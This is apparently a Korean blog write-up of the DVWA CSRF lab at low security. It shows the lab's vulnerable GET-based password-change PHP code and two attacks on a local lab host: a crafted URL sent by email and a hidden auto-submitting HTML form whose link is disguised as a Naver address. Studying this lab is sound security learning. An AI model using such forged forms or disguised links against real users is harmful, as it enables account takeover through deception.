이번 문제에 들어가기 앞서서 csrf의 핵심 개념을 복습해보면 xss와 달리 쿠키/세션을 탈취 하는 것이 아닌 클라이언트의 로그인이 되어있는 세션을 이용해서 사용자가 원하지 않는 http 요청을 보내는 것이 기본적인 개념이다.
이번 문제에서는 내가 admin이라는 사용자가 되었다고 가정을 할 것이다.
admin 계정으로 로그인이 되어있는 나의 브라우저의 권한을 이용해서 나의 계정 비밀번호를 바꾸려고 하는 공격자가 있는 것이다.
먼저 아래는 비밀번호가 바뀌었는지 확인하는 로그인 폼이다.
아래는 비밀번호를 변경하는 폼과 그걸 구성하고 있는 low.php이다.
코드를 살펴보면 GET방식으로 요청을 받고 있다.
이 곳에 GET방식의 요청을 보내면 비밀번호를 컨펌하고 변경해준다.
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
아래는 성공적으로 비밀번호가 변경되어서 로그인이 된 모습이다.
그럼 지금 admin으로 로그인 되어 있는 사용자의 권한을 이용해서 그 이용자의 비밀번호를 변경해보겠다.
먼저 GET방식의 취약점을 이용해서 url을 보내보겠다.
아래와 같이 url의 param에 비밀번호를 525로 넣어서 url을 이메일로 보냈다.
사용자가 저 url를 클릭하게 되면 당연하게도 비밀번호는 그 사용자의 권한을 통해 525로 변경될 것이다.
성공적으로 비밀번호가 바뀌었다.
그 다음은 html파일을 하나 만들어서 hidden type으로 보이지 않게 비밀번호를 변경해보겠다.
아래는 html 파일이다.
hidden type으로 url param에 1234567을 입력하고
스크립트로 제출한다.
<form name="ChangeForm" method="get" action="http://192.168.11.1/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="1234567">
<input type="hidden" name="password_conf" value="1234567">
<input type="hidden" name="Change" filename="Change">
</form>
<script>
document.ChangeForm.submit();
</script>
이 파일의 주소를 네이버로 둔갑해서 메일로 보냈다.
사용자는 네이버 주소인줄 알고 클릭하게 된다.
그러면 동시에 사용자의 남아있는 세션을 통해서 인증이 되고 사용자의 비밀번호가 변경된다.
자동으로 제출되는 html에 의해서 비밀번호가 아래와 같이 변경되었다.